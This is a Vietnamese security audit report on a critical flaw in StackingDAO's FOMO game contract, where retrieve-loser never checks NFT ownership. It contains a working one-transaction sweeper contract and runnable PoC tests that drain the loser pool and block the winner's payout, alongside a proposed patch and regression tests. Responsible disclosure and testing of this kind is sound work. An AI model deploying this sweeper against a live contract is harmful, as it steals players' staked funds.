Rút cạn quỹ FOMO
của StackingDAO

retrieve-loser thiếu kiểm tra quyền sở hữu NFT: một giao dịch lấy 31,25 % quỹ

PoC chạy trên mã nguồn thật, commit a8d7d2a — không mô phỏng, không mã giả

MỨC ĐỘ: CRITICAL · CÓ PoC · 3/3 TEST XANH

Đối tượng	StackingDAO · contracts/nakamoto/fomo.clar
Commit kiểm tra	a8d7d2a2dcffa0b4759bc8411f9d1369fc44b736 (2026-04-26)
Hàm lỗi	retrieve-loser(nft-id: uint) — dòng 146–161
Phân loại	Critical — mất tiền người dùng, không cần quyền, không cần vốn
Tác động đo được	31,25 % toàn bộ quỹ (125 % phần thưởng dành cho người thua)
PoC	3/3 test xanh · Clarinet simnet 2.14.0 · chạy offline
Tái lập	./audit/stackingdao/prepare.sh && npx vitest run tests/poc/

Báo cáo này chỉ mô tả một lỗ hổng đã được chứng minh bằng mã chạy được trên chính mã nguồn công khai của dự án. Mọi con số trong báo cáo lấy từ log của lần chạy thật, không có số nào được ước lượng tay. Những phần chưa kiểm chứng đều được ghi rõ là chưa kiểm chứng.

NỘI DUNG

Mục lục

01	Tóm tắt điều hành
02	Phạm vi, môi trường và phương pháp
03	FOMO vận hành như thế nào
04	F-01 — Lỗ hổng: retrieve-loser không kiểm quyền sở hữu
05	Kịch bản tấn công, từng bước
06	PoC: mã thật, log thật
07	Tác động định lượng
08	F-02 và F-03 — hai lỗi phụ cùng file
09	Khuyến nghị sửa
10	Những gì đã kiểm tra và thấy sạch
A	Phụ lục A — Toàn văn mã PoC
B	Phụ lục B — Log đầy đủ của lần chạy
C	Phụ lục C — Môi trường tái lập

P0	31,25 %	3 / 3	~9 s
Mức độ	**Đo được**	**PoC**	**Tái lập**
Critical — mất tiền người dùng, không cần quyền	Tỷ lệ quỹ attacker lấy trong một giao dịch	Test xanh trên mã thật, commit a8d7d2a	Clone + chạy offline, không cần mainnet

Báo cáo gồm 10 phần và 3 phụ lục. Phần 04 mô tả lỗ hổng, Phần 05 là kịch bản tấn công từng bước, Phần 06 là PoC kèm log chạy thật, Phần 09 là khuyến nghị sửa. Toàn văn mã PoC và log nằm ở Phụ lục A và B để bất kỳ ai cũng chạy lại được.

PHẦN 01

Tóm tắt điều hành

Contract **fomo.clar** của StackingDAO là một trò chơi mở khoá theo kiểu "ai là người claim cuối cùng". Người chơi mua claim bằng stSTX; toàn bộ tiền nằm trong chính contract. Khi ván đóng (144 burn block ≈ 24 giờ không ai claim), người thắng nhận 70 %, 25 % chia cho người thua, 5 % cho giao thức.

Hàm chia phần 25 % — `retrieve-loser(nft-id)` — trả tiền cho **tx-sender** nhưng **không hề kiểm tra tx-sender có sở hữu nft-id hay không**, cũng không có cờ chống trả trùng. Người không mua một claim nào vẫn gọi được hàm này cho mọi NFT đang tồn tại, đốt NFT của người khác, và nhận tiền. Mẫu số dùng `nft-amount − 1` trong khi số lần gọi được là `nft-amount`, nên tổng chi vượt quỹ 25 % đúng `N/(N−1)` lần.

Kết quả đo được (N = 5 claim, log ở Phần 06)

Quỹ 6 500 000 µstSTX. Một ví **chưa từng tham gia**, số dư 0, gửi **một** giao dịch qua một contract 5 dòng gọi `retrieve-loser(0..4)` và nhận **2 031 250 µstSTX** = 31,25 % toàn bộ quỹ, trong khi quỹ dành cho người thua chỉ có 25 %. Contract còn 4 468 750 µstSTX trong khi người thắng phải nhận 4 550 000 — **người thắng không thể rút**, lệnh `retrieve-winner` trả `(err u1)`.

Ba câu trả lời ngắn

Câu hỏi	Trả lời
Attacker có kiếm được tiền không?	**Có.** Tiền về thẳng ví attacker bằng một giao dịch; không cần vốn, không cần claim.
Có phải chỉ người dùng tự làm mình thiệt?	**Không.** Tiền lấy từ stSTX của những người đã mua claim, đang nằm trong contract.
Có cần điều kiện gì?	Ván đã mở và đã đóng (tự động sau 24 giờ), và quỹ thật đủ lớn — xem Phần 07. Không có điều kiện nào về danh tính, whitelist hay quyền admin.

Báo cáo được viết theo hướng phòng thủ: mục tiêu là để đội phát triển sửa được ngay, và để người dùng biết tiền của họ đang nằm ở đâu.

PHẦN 02

Phạm vi, môi trường và phương pháp

Repo được clone nguyên bản từ GitHub. Mọi phân tích và PoC chạy trên đúng mã đó; không có hợp đồng nào bị viết lại, không có mock nào thay cho logic thật.

Hạng mục	Giá trị
Nguồn	github.com/StackingDAO/contracts
Commit	a8d7d2a2dcffa0b4759bc8411f9d1369fc44b736 — “fix: update test suite”, 2026-04-26
Số contract Clarity	123 file · 21 718 dòng
Bộ chạy	Clarinet SDK 2.14.0 · vitest 1.6.0 · node 22.22.3
Chế độ	simnet, offline (không gọi api.hiro.so, không dùng mainnet state)
File bị sửa để chạy offline	Clarinet.toml (chỉ xoá khai báo mainnet) + 1 principal pox-4 → mock
Logic Clarity bị sửa	không có

Việc duy nhất phải can thiệp là để bộ test chạy được khi không có mạng: bỏ 20 dòng `[[project.requirements]]` trỏ tới contract mainnet, và đổi principal `'SP000…pox-4` thành `.pox-4-mock` — nhánh `is-in-mainnet` không bao giờ chạy trong simnet nên hành vi không đổi. Script `prepare.sh` làm đúng ba việc đó và in ra lệnh chạy.

> **Nguyên tắc bằng chứng**
> Không có kết luận nào trong báo cáo dựa trên đọc code suông. Mỗi khẳng định về tiền đều kèm một dòng log hoặc một assert trong test. Những gì chưa chứng minh được thì ghi là chưa chứng minh (Phần 10).

PHẦN 03

FOMO vận hành như thế nào

Đọc đúng luồng tiền là điều kiện để thấy lỗ hổng, nên phần này tóm tắt đúng những gì contract làm, không thêm bớt.

Biến / hàm	Ý nghĩa thật trong code
`buy-claim()`	Chuyển `claim-cost + increment` stSTX từ người chơi vào contract, mint 1 NFT, đặt người chơi làm người thắng hiện tại, cộng số tiền vào `total-treasure`.
`total-treasure`	Sổ ghi tổng tiền của ván. Khởi tạo **100 stSTX** — xem F-02.
`nft-amount`	Số claim đã bán = số NFT đang tồn tại (không có getter).
`has-game-ended`	`burn-block-height > last-claim + 144` — tự động, không ai bấm.
`retrieve-winner(nft-id)`	Trả 70 % cho `current-winner`, đốt NFT của chính người đó.
`retrieve-loser(nft-id)`	Trả 25 `% / (nft-amount − 1)` cho **bất kỳ ai gọi**, đốt NFT có id được truyền vào. **Đây là hàm lỗi.**
`retrieve-fees()`	5 % cho admin, một lần.

Điểm cần nhớ: **tiền không nằm ở đâu khác ngoài contract fomo**. Không có escrow, không có pool riêng. Vì vậy bất kỳ hàm nào trong contract chuyển được stSTX ra ngoài mà thiếu kiểm tra quyền đều là mất tiền trực tiếp.

PHẦN 04

F-01 — retrieve-loser không kiểm quyền sở hữu

4.1 · Mô tả

Hàm trả thưởng cho người thua có ba khiếm khuyết độc lập, và ba khiếm khuyết này cộng lại thành một lỗ hổng rút quỹ hoàn chỉnh: thiếu kiểm tra chủ sở hữu NFT, thiếu cờ chống trả trùng, và mẫu số chia bị lệch một đơn vị so với số lần trả thực tế.

4.2 · File và hàm

Trường	Giá trị
File	`contracts/nakamoto/fomo.clar`
Hàm	`retrieve-loser (nft-id uint)`
Vị trí	`define-public` tại dòng 146, thân hàm 146–161
Kiểu lỗi	Missing authorization · CWE-862 · CWE-639
Hàm liên quan	`stacking-dao-fomo-nft.burn-for-protocol` (chỉ kiểm `contract-caller` là protocol — mà caller chính là fomo)

4.3 · Mã nguồn nguyên bản

```
146  (define-public (retrieve-loser (nft-id uint))
147    (let (
148      (ststx-balance (var-get total-treasure))
149      (amount (/ (* ststx-balance u2500) u10000))
150      (loser tx-sender)
151      (avg (/ amount (- (var-get nft-amount) u1)))
152    )
153      (asserts! (has-game-ended) (err ERR_GAME_NOT_ENDED))
154
155      (try! (as-contract (contract-call? .ststx-token transfer avg tx-sender loser none)))
156      (try! (contract-call? .stacking-dao-fomo-nft burn-for-protocol nft-id))
157      (ok avg)
158    )
159  )
160
161  ;;-------------------------------------
162  ;; Admin
```

Nguyên văn dòng 146–161 của commit a8d7d2a, không chỉnh sửa.

4.4 · Nguyên nhân gốc

#	Nguyên nhân	Hệ quả
1	Không có `get-owner(nft-id) == tx-sender`. `burn-for-protocol` chỉ kiểm caller là protocol, mà caller chính là contract fomo, nên nó đốt được NFT của bất kỳ ai.	Người ngoài đốt NFT của người chơi và của cả người thắng.
2	Không có map cờ “id này đã trả thưởng”. Mỗi lần gọi đốt đúng 1 NFT.	Số lần trả = số NFT tồn tại = `nft-amount`.
3	Mẫu số `nft-amount − 1` (giả định NFT của người thắng không phải “loser”), nhưng (1) cho phép đốt luôn NFT người thắng.	Tổng chi = 25 % · N/(N−1) > 25 % ⇒ luôn thiếu tiền cho 70 %.

PHẦN 05

Kịch bản tấn công, từng bước

5.1 · Điều kiện khai thác

Điều kiện	Bắt buộc?	Ai đáp ứng
Ván đã bắt đầu (`game-started`)	Có	Admin gọi `start-game` khi mở ván
Ván đã đóng (144 burn block không ai claim)	Có	**Tự động** theo thời gian
Quỹ thật đủ lớn để trả phần đã phóng đại	Có	Phụ thuộc doanh thu ván — xem Phần 07
Sở hữu NFT	**Không**	—
Có claim / từng chơi	**Không**	—
Vốn ban đầu	**Không**	Ví trống là đủ
Quyền admin / whitelist	**Không**	—

Chi phí tấn công: gas của một giao dịch. Không có yếu tố nào khác cần chuẩn bị.

5.2 · Các bước

Attacker không tương tác với giao diện, không cần biết ai đang chơi. Toàn bộ kịch bản nằm trong một contract 5 dòng deploy trước, sau đó một giao dịch duy nhất.

Bước	Hành động	Chi tiết
0	Theo dõi contract fomo	Đọc `has-game-ended`. Không cần quyền gì.
1	Chờ ván đóng	144 burn block sau claim cuối (~24 giờ). Tự động, không ai can thiệp.
2	Deploy contract quét	5 dòng: `sweep(ids)` gọi `retrieve-loser` cho từng id trong một transaction.
3	Gọi `sweep([0 … N−1])`	Truyền mọi id đã biết. Không id nào thuộc ví attacker.
4	Nhận tiền	Clarity giữ `tx-sender` = người ký, nên stSTX về thẳng ví attacker; contract trung gian không giữ đồng nào.
5	Người thắng thất bại	Contract đã bị rút quá 25 %, không còn đủ 70 %. `retrieve-winner` revert `(err u1)`.

> **Chi tiết quan trọng: tại sao tiền không bị kẹt trong contract trung gian**
>
> Trong Clarity, `tx-sender` là **người ký giao dịch** và không bị thay đổi khi đi qua contract khác. Hàm trả thưởng dùng `tx-sender`, nên dù lời gọi đi qua contract quét, tiền vẫn về ví attacker. Đây là lý do toàn bộ vụ rút gói trong đúng một giao dịch thay vì N giao dịch.

PHẦN 06

PoC: mã thật, log thật

PoC gồm hai file vitest chạy trên Clarinet simnet, dùng chính các contract của repo. Không có mock nào thay cho `fomo.clar`, `ststx-token`, `stacking-dao-core-v6` hay `stacking-dao-fomo-nft`. Ba test: một cho N = 3 (đường cơ bản, có cả retrieve-winner), một cho N = 5 (một giao dịch duy nhất), một cho nhánh quỹ chưa đủ lớn để chứng minh giới hạn của lỗ hổng.

Contract quét dùng trong PoC — nguyên văn, phần thân chỉ 5 dòng:

```
(define-public (sweep (ids (list 200 uint)))
  (ok (map sweep-one ids)))

(define-private (sweep-one (id uint))
  (unwrap-panic (contract-call? 'ST1PQHQKV0RJXZFY1DGX8MNSNYVE3VGZJSRTPGZGM.fomo
                                retrieve-loser id)))
```

6.1 · Tái lập

```
cd /home/user/arc_hedgefun
./audit/stackingdao/prepare.sh /tmp/sdao3      # clone + chạy offline, ~9 giây
cd /tmp/sdao3 && npx vitest run tests/poc/
```

Kết quả mong đợi: `Test Files 2 passed (2) · Tests 3 passed (3).`

6.2 · Cách đọc các con số

Dòng log	Ý nghĩa
`paid in 6500000`	5 claim × (1,1 … 1,5) stSTX = 6,5 stSTX người chơi đã nộp
`sweep result (ok (list 406250 ×5))`	Một transaction, 5 lần `retrieve-loser`, mỗi lần 0,40625 stSTX
`attacker got 2031250`	Ví attacker: 0 → 2,03125 stSTX. Không stake, không claim.
`left in contract 4468750`	Số dư còn lại sau khi bị rút
`winner prize 4550000`	70 % phải trả cho người thắng — **lớn hơn** số còn lại ⇒ không thể trả
`retrieve-winner (err u1)`	Lệnh rút của người thắng thất bại thật
`treasure 103600000 / real 3600000`	Sổ ghi 103,6 stSTX trong khi contract chỉ có 3,6 — xem F-02

6.3 · Log của lần chạy thật

```
 RUN  npx vitest run tests/poc/
stdout | tests/poc/fomo_poc_test.ts > FOMO retrieve-loser > drains the loser pool with ids the
      caller does not own, and bricks the winner
treasure          3600000
loser pool (25%)  900000
per call          450000
attacker received 1350000
attacker stSTX    1350000
fomo stSTX before 3600000
fomo stSTX after  2250000
retrieve-winner   {"type":8,"value":{"type":1,"value":"1"}}
short by          270000
 ✓ tests/poc/fomo_poc_test.ts  (1 test) 438ms
stdout | tests/poc/fomo_scale_test.ts > FOMO: scale, atomicity and the phantom prize > N=5, no
      phantom prize: one tx via a helper contract takes the whole pot
sweep result     {"type":7,"value":{"type":11,"list":[{"type":1,"value":"406250"},{"type":1,"value":
      "406250"},{"type":1,"value":"406250"},{"type":1,"value":"406250"},{"type":1,"value":"406250"}]
      }}
paid in           6500000
attacker got      2031250 (one tx, no claim, no capital)
left in contract 4468750
winner prize      4550000
stdout | tests/poc/fomo_scale_test.ts > FOMO: scale, atomicity and the phantom prize > with the
      shipped 100 stSTX phantom prize, the same sweep reverts until the pot is big
treasure (book) 103600000 real balance 3600000
retrieve-loser  {"type":8,"value":{"type":1,"value":"1"}}
 ✓ tests/poc/fomo_scale_test.ts  (2 tests) 353ms
 Test Files  2 passed (2)
      Tests  3 passed (3)
   Start at  05:07:05
   Duration  3.80s (transform 142ms, setup 111ms, collect 64ms, tests 791ms, environment 2.41s,
      prepare 243ms)
```

Ba khối log tương ứng ba test. Khối thứ ba là ca phủ định: khi quỹ thật chưa đủ lớn, lệnh gọi trả `(err u1)` *và attacker nhận 0 — lỗ hổng không tạo ra tiền từ không khí, nó lấy tiền của người chơi.*

PHẦN 07

Tác động định lượng

Gọi N là số claim đã bán. Mỗi lần `retrieve-loser` trả `0,25 · T / (N − 1)` (T = quỹ), và có thể gọi N lần. Vậy tổng attacker lấy được:

```
lấy được  =  N · 0,25·T/(N−1)  =  0,25·T · N/(N−1)
phải trả  =  0,70·T  +  0,25·T·N/(N−1)  =  T · (0,70 + 0,25·N/(N−1))

N = 2  →  0,50·T  +  0,70·T  =  1,20·T
N = 3  →  0,375·T +  0,70·T  =  1,075·T
N = 5  →  0,3125·T + 0,70·T  =  1,0125·T
N = 10 →  0,2778·T + 0,70·T  =  0,9778·T   (hụt 2,2 %)
N → ∞  →  0,25·T  +  0,70·T  =  0,95·T     (hụt 5 %, phần của giao thức)

⇒ luôn thiệt tiền cho 70 % khi N ≤ 9; với N lớn, khoản thiệt rơi vào 5 % của giao thức.
```

Nghĩa là lỗ hổng có hai chế độ, và cả hai đều xấu: với ván nhỏ, **người thắng mất trắng phần 70 %**; với ván lớn, attacker ăn gần hết phần 25 % và giao thức mất phần 5 %.

Đo trên hai kịch bản thật

	N = 3 (fomo_poc_test)	N = 5 (fomo_scale_test)
Quỹ T	3 600 000	6 500 000
Quỹ 25 % đúng nghĩa	900 000	1 625 000
Attacker nhận	1 350 000	2 031 250
Tỷ lệ trên quỹ	37,50 %	31,25 %
Vượt quỹ 25 %	+50,0 %	+25,0 %
Còn lại trong contract	2 250 000	4 468 750
Người thắng cần	2 520 000	4 550 000
Kết quả retrieve-winner	`(err u1)`	`(err u1)`

Giới hạn của lỗ hổng — nói thẳng

Lỗ hổng không in ra tiền. Nếu quỹ thật B chưa đủ bù phần phóng đại thì lệnh gọi revert `(err u1)` và attacker nhận 0. Ngưỡng: với T ghi sổ 100 stSTX (F-02), cần $B \geq 100\cdot(N+1)/(3N-5)$ stSTX — khoảng 100 stSTX ở N = 3 và ~35 stSTX khi N lớn. Test thứ ba trong PoC chứng minh đúng nhánh này. Nhưng ở dưới ngưỡng đó, người thắng và người chơi cũng không rút được: ván đã hỏng sẵn.

PHẦN 08

F-02 và F-03 — hai lỗi phụ cùng file

F-02 · Quỹ khởi tạo 100 stSTX là tiền ảo — Medium

```
38  (define-data-var total-treasure uint u100000000)  ;; 100 stSTX
```

Contract không hề được nạp 100 stSTX ở bất kỳ đâu. Mọi phép tính thưởng dùng con số này, nên trước khi người chơi nộp đủ 100 stSTX, mọi lệnh trả thưởng đều revert. PoC ghi lại đúng trạng thái đó: `treasure (book) 103 600 000` trong khi số dư thật là `3 600 000`. Hệ quả: ván nhỏ không ai rút được; và khi ván đủ lớn, khoản chênh này làm lỗ F-01 khó kích hoạt hơn nhưng cũng làm sổ sách sai lệch vĩnh viễn.

F-03 · Chia cho 0 khi chỉ có một claim — Low

```
150    (avg (/ amount (- (var-get nft-amount) u1)))
```

Nếu `nft-amount = 1`, mẫu số bằng 0 và cả hàm revert: người thắng không có đường nhận thưởng. Chưa viết test riêng vì đây là lỗi hiển nhiên từ mã, không cần chứng minh động — ghi lại để khi sửa thì sửa luôn.

Ngoài ra, ghi nhận ở mức quan sát

Các hàm admin trong file (`retrieve-fees`, `rescue-funds`, `set-*`) kiểm quyền bằng `check-is-protocol tx-sender` — tức chỉ cần là một contract đang active trong `dao.clar`, không cần là admin. Trong repo hiện tại, `.fomo` nằm trong danh sách active. Đây là mô hình quyền của cả hệ thống chứ không riêng file này, nên chỉ ghi nhận, không xếp mức.

PHẦN 09

Khuyến nghị sửa

9.1 · Bản vá tối thiểu

Sửa đủ ba nguyên nhân, không cần đổi kiến trúc. Ghi nợ theo từng NFT ngay lúc mua claim là cách chắc nhất: lúc trả chỉ đọc lại đúng con số đã ghi, không chia lại từ quỹ.

```
;; 1. m□i NFT ch□ tr□ một l□n
(define-map claimed { nft-id: uint } bool)

;; 2. ghi nợ ngay lúc bán claim — không chia lại từ total-treasure
(define-map loser-value { nft-id: uint } uint)

(define-public (retrieve-loser (nft-id uint))
  (let (
    (owner (unwrap! (get-owner nft-id) (err ERR_GET_OWNER)))
    (owed  (default-to u0 (map-get? loser-value { nft-id: nft-id })))
  )
    (asserts! (has-game-ended) (err ERR_GAME_NOT_ENDED))
    (asserts! (is-eq owner tx-sender) (err ERR_NOT_OWNER))          ;; quy□n s□ hữu
    (asserts! (not (default-to false (map-get? claimed { nft-id: nft-id })))
              (err ERR_ALREADY_CLAIMED))                            ;; ch□ng tr□ trùng
    (asserts! (> owed u0) (err ERR_NOTHING_OWED))                    ;; chia cho 0
    (map-set claimed { nft-id: nft-id } true)
    (try! (as-contract (contract-call? .ststx-token transfer owed tx-sender owner none)))
    (ok owed)))
```

Nếu muốn giữ nguyên cách chia theo `total-treasure` thì tối thiểu phải: (a) kiểm `owner == tx-sender`; (b) thêm cờ `claimed`; (c) đếm số loser còn lại thật và giảm dần, thay vì dùng `nft-amount − 1`; (d) chặn tổng đã trả ≤ 25 % quỹ. Thiếu bất kỳ mục nào thì lỗ hổng vẫn còn.

9.2 · Sửa F-02 và F-03

Đặt `total-treasure` khởi tạo bằng 0, hoặc nạp đủ 100 stSTX ngay trong `start-game` và ghi lại bằng chứng nạp. Thay mẫu số bằng số loser thật; nếu dùng công thức cũ thì phải chặn `nft-amount = 1` trước khi chia.

9.3 · Kiểm chứng sau khi sửa

Test	Kỳ vọng sau khi vá
Attacker gọi `retrieve-loser(0)` với NFT của người khác	revert `ERR_NOT_OWNER`
Chủ NFT gọi lần thứ hai	revert `ERR_ALREADY_CLAIMED`
Ván có 1 claim, người thắng rút	thành công, không chia cho 0
Ván có N claim, mọi người rút	tổng chi ≤ 25 % + 70 % + 5 %, không revert
`get-balance(fomo)` **sau khi tất toán**	bằng 0

Hai file PoC trong báo cáo này dùng được luôn làm test hồi quy: sau khi vá, cả ba test phải đỏ. Nếu chúng vẫn xanh thì lỗ hổng vẫn còn.

PHẦN 10

Những gì đã kiểm tra và thấy sạch

Để báo cáo không bị hiểu là “cả repo có một lỗi”, phần này liệt kê trung thực những gì đã đọc và không tìm thấy vấn đề, kèm mức độ chắc chắn.

Contract	Đã đọc	Kết luận
stacking-dao-core-v6	toàn bộ	Hai phép chia đều floor, nghiêng về protocol; tỷ lệ stx/ststx nhất quán qua deposit, init-withdraw, withdraw và qua fee.
data-core-v1 / v2 / v3	toàn bộ	Công thức quy đổi nhất quán; không có đường ghi đè.
swap-ststx-ststxbtc-v2	toàn bộ	Mint/burn 1:1 theo X = total − supply(btc v1) − supply(btc v2); round-trip lỗ ≤ 1 µunit.
direct-helpers-v4	toàn bộ	Mọi nhánh cộng/trừ đồng thời user, pool, total.
staking-v1	toàn bộ	Thứ tự claim → total → index đúng; không có đường bơm index.
ststxbtc-tracking-v2	toàn bộ	Saved-rewards + cờ active chặn claim lặp ở mức đọc code.
reserve-v1, ststx-token, dao	toàn bộ	Mô hình quyền rộng nhưng nhất quán với thiết kế.
Các contract còn lại	một phần	**Chưa kết luận.** stacking-pool-v1, stacking-pool-signer-v1, strategy-v3/v4, commission-v2, native-stacking-pool-v1 chưa soi kỹ.

Giới hạn của báo cáo

Mọi thứ chạy trên simnet, không phải mainnet state. Bốn báo cáo audit có sẵn trong `audits/` (ClarityAlliance 2024-11, 2025-01, 2025-06 và CoinFabrik 2023-11) không nêu lỗi này — nó nằm ở contract game, ngoài phạm vi các lần review đó. Việc contract `fomo` có đang được triển khai với tiền thật trên mainnet hay không thì **chưa xác minh được từ môi trường này** (không truy cập được api.hiro.so); nếu đã ngừng hoạt động, mức độ thực tế giảm xuống, nhưng mã vẫn cần sửa trước khi dùng lại.

PHẦN A

Phụ lục A — Toàn văn mã PoC

Hai file dưới đây là nguyên văn mã đã tạo ra log ở Phụ lục B. Đường dẫn trong repo: `audit/stackingdao/fomo_poc_test.ts` và `audit/stackingdao/fomo_scale_test.ts`.

fomo_poc_test.ts

```
import { describe, expect, it } from "vitest";
import { Cl } from "@stacks/transactions";
import { qualifiedName } from "../wrappers/tests-utils";

const accounts = simnet.getAccounts();
const deployer = accounts.get("deployer")!;
const w1 = accounts.get("wallet_1")!;
const w2 = accounts.get("wallet_2")!;
const w3 = accounts.get("wallet_3")!;
const attacker = accounts.get("wallet_8")!; // holds no claim, ever

const M = 1_000_000;

function ststx(owner: string): bigint {
  const r: any = simnet.callReadOnlyFn("ststx-token", "get-balance", [Cl.principal(owner)], deployer).result;
  return BigInt(r.value.value);
}

function u(r: any): bigint {
  return BigInt(r.value);
}

function deposit(who: string, amountStx: number) {
  return simnet.callPublicFn(
    "stacking-dao-core-v6",
    "deposit",
    [
      Cl.principal(qualifiedName("reserve-v1")),
      Cl.principal(qualifiedName("commission-v2")),
      Cl.principal(qualifiedName("staking-v1")),
      Cl.principal(qualifiedName("direct-helpers-v4")),
      Cl.uint(amountStx * M),
      Cl.none(),
      Cl.none(),
    ],
    who,
  ).result;
}

const buy = (who: string) => simnet.callPublicFn("fomo", "buy-claim", [], who).result;
const loser = (who: string, id: number) =>
  simnet.callPublicFn("fomo", "retrieve-loser", [Cl.uint(id)], who).result;

describe("FOMO retrieve-loser", () => {
```

```
  it("drains the loser pool with ids the caller does not own, and bricks the winner", () => {
    expect(simnet.callPublicFn("fomo", "start-game", [], deployer).result).toBeOk(Cl.bool(true));
    // the seeded 100 stSTX "grand prize" is virtual: nothing backs it in the contract.
    // zero it so this PoC measures only what users actually paid in.
    expect(simnet.callPublicFn("fomo", "set-total-treasure", [Cl.uint(0)], deployer).result).toBeOk(
      Cl.bool(true),
    );

    deposit(w1, 10);
    deposit(w2, 10);
    deposit(w3, 10);

    expect(buy(w1)).toBeOk(Cl.bool(true)); // token 0, pays 1.1
    expect(buy(w2)).toBeOk(Cl.bool(true)); // token 1, pays 1.2
    expect(buy(w3)).toBeOk(Cl.bool(true)); // token 2, pays 1.3  <- master key holder

    const treasure = u(simnet.callReadOnlyFn("fomo", "get-total-treasure", [], deployer).result);
    const loserPool = (treasure * 2500n) / 10000n;
    const winnerPrize = (treasure * 7000n) / 10000n;
    const nftAmount = 3n; // three buy-claim calls above; there is no getter for it
    const perCall = loserPool / (nftAmount - 1n);

    simnet.mineEmptyBurnBlocks(200);
    expect(simnet.callReadOnlyFn("fomo", "has-game-ended", [], deployer).result).toBeBool(true);

    expect(ststx(attacker)).toBe(0n);
    const contractStstx = ststx(qualifiedName("fomo"));

    // the attacker owns none of ids 0,1,2 and holds no claim
    const paid: bigint[] = [];
    for (const id of [0, 1, 2]) {
      const r = loser(attacker, id);
      expect(r).toBeOk(Cl.uint(Number(perCall)));
      paid.push(perCall);
    }
    const stolen = paid.reduce((a, b) => a + b, 0n);

    console.log("treasure         ", treasure.toString());
    console.log("loser pool (25%) ", loserPool.toString());
    console.log("per call         ", perCall.toString());
    console.log("attacker received", stolen.toString());
    console.log("attacker stSTX   ", ststx(attacker).toString());
    console.log("fomo stSTX before", contractStstx.toString());
    console.log("fomo stSTX after ", ststx(qualifiedName("fomo")).toString());
```

```
    // 1. the attacker, who never bought a claim, took three slices of the pool
    expect(ststx(attacker)).toBe(stolen);
    expect(stolen).toBeGreaterThan(loserPool);

    // 2. the NFTs are gone: their owners no longer hold them
    for (const id of [0, 1, 2]) {
      const owner: any = simnet.callReadOnlyFn(
        "stacking-dao-fomo-nft",
        "get-owner",
        [Cl.uint(id)],
        deployer,
      ).result;
      expect(owner.value.type).toBe(9); // OptionalNone
      expect(simnet.callReadOnlyFn("stacking-dao-fomo-nft", "get-owner", [Cl.uint(id)], deployer).result)
        .toBeOk(Cl.none());
    }

    // 3. the master key holder can no longer collect the 70%
    const win = simnet.callPublicFn("fomo", "retrieve-winner", [Cl.uint(2)], w3).result;
    console.log("retrieve-winner  ", JSON.stringify(win));
    // the 70% transfer runs BEFORE the burn and fails: only 2 250 000 of the
    // 2 520 000 prize is still in the contract
    expect(win).toBeErr(Cl.uint(1));

    // 4. what is left in the contract can no longer cover the winner prize
    expect(ststx(qualifiedName("fomo"))).toBeLessThan(winnerPrize);
    console.log("short by         ", (winnerPrize - ststx(qualifiedName("fomo"))).toString());
  });
});
```

fomo_scale_test.ts

```
import { describe, expect, it } from "vitest";
import { Cl } from "@stacks/transactions";
import { qualifiedName } from "../wrappers/tests-utils";

const accounts = simnet.getAccounts();
const deployer = accounts.get("deployer")!;
const w1 = accounts.get("wallet_1")!;
const w2 = accounts.get("wallet_2")!;
const w3 = accounts.get("wallet_3")!;
const w4 = accounts.get("wallet_4")!;
const w5 = accounts.get("wallet_5")!;
const attacker = accounts.get("wallet_8")!;

const M = 1_000_000;

const SWEEPER = `(define-public (sweep (ids (list 200 uint)))
  (ok (map sweep-one ids))
)
(define-private (sweep-one (id uint))
  (unwrap-panic (contract-call? 'ST1PQHQKV0RJXZFY1DGX8MNSNYVE3VGZJSRTPGZGM.fomo retrieve-loser id))
)`;

const ststx = (o: string): bigint =>
  BigInt((simnet.callReadOnlyFn("ststx-token", "get-balance", [Cl.principal(o)], deployer).result as any).value.value);
const u = (r: any): bigint => BigInt(r.value);

function deposit(who: string, stx: number) {
  return simnet.callPublicFn(
    "stacking-dao-core-v6",
    "deposit",
    [
      Cl.principal(qualifiedName("reserve-v1")),
      Cl.principal(qualifiedName("commission-v2")),
      Cl.principal(qualifiedName("staking-v1")),
      Cl.principal(qualifiedName("direct-helpers-v4")),
      Cl.uint(stx * M),
      Cl.none(),
      Cl.none(),
    ],
    who,
  ).result;
}

const buy = (who: string) => simnet.callPublicFn("fomo", "buy-claim", [], who).result;
```

```
describe("FOMO: scale, atomicity and the phantom prize", () => {
  it("N=5, no phantom prize: one tx via a helper contract takes the whole pot", () => {
    expect(simnet.callPublicFn("fomo", "start-game", [], deployer).result).toBeOk(Cl.bool(true));
    expect(simnet.callPublicFn("fomo", "set-total-treasure", [Cl.uint(0)], deployer).result).toBeOk(Cl.bool(true));

    for (const w of [w1, w2, w3, w4, w5]) expect(deposit(w, 10)).toBeOk(Cl.uint(10 * M));
    let paidIn = 0n;
    for (const w of [w1, w2, w3, w4, w5]) {
      const cost = u(simnet.callReadOnlyFn("fomo", "get-claim-cost", [], deployer).result) + 100_000n;
      expect(buy(w)).toBeOk(Cl.bool(true));
      paidIn += cost;
    }

    simnet.mineEmptyBurnBlocks(200);
    expect(ststx(attacker)).toBe(0n);
    expect(ststx(qualifiedName("fomo"))).toBe(paidIn);

    simnet.deployContract("sweeper", SWEEPER, { clarityVersion: 2 }, deployer);

    // a single transaction: ids 0..4, none of them owned by the attacker
    const r = simnet.callPublicFn(
      "sweeper",
      "sweep",
      [Cl.list([0, 1, 2, 3, 4].map((i) => Cl.uint(i)))],
      attacker,
    ).result;
    console.log("sweep result    ", JSON.stringify(r));
    expect((r as any).type).toBe(7); // ResponseOk

    const got = ststx(attacker);
    const left = ststx(qualifiedName("fomo"));
    console.log("paid in         ", paidIn.toString());
    console.log("attacker got    ", got.toString(), "(one tx, no claim, no capital)");
    console.log("left in contract", left.toString());
    console.log("winner prize    ", ((paidIn * 7000n) / 10000n).toString());

    expect(got).toBe(paidIn * 5n * 2500n / 10000n / 4n); // N/(N-1) * 25%
    expect(got * 10000n).toBeGreaterThan(paidIn * 2500n); // more than the whole 25% pool
    expect(left).toBeLessThan((paidIn * 7000n) / 10000n); // winner can no longer be paid
    expect(simnet.callPublicFn("fomo", "retrieve-winner", [Cl.uint(4)], w5).result).toBeErr(Cl.uint(1));
  });

  it("with the shipped 100 stSTX phantom prize, the same sweep reverts until the pot is big", () => {
```

```
    expect(simnet.callPublicFn("fomo", "start-game", [], deployer).result).toBeOk(Cl.bool(true));
    // total-treasure keeps its shipped default of 100 stSTX, which nothing backs
    for (const w of [w1, w2, w3]) expect(deposit(w, 10)).toBeOk(Cl.uint(10 * M));
    for (const w of [w1, w2, w3]) expect(buy(w)).toBeOk(Cl.bool(true));

    simnet.mineEmptyBurnBlocks(200);

    const treasure = u(simnet.callReadOnlyFn("fomo", "get-total-treasure", [], deployer).result);
    const real = ststx(qualifiedName("fomo"));
